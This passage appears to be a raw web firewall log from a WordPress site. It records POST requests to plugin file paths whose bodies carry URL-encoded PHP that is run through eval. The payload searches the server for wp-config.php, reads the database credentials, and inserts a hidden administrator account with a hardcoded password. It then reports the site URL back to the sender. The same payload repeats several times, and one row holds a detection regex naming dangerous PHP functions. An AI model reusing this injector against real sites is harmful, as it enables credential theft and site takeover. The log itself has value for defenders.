0%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12640\nsec-fetch-dest:document\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nNb=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:26:39","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%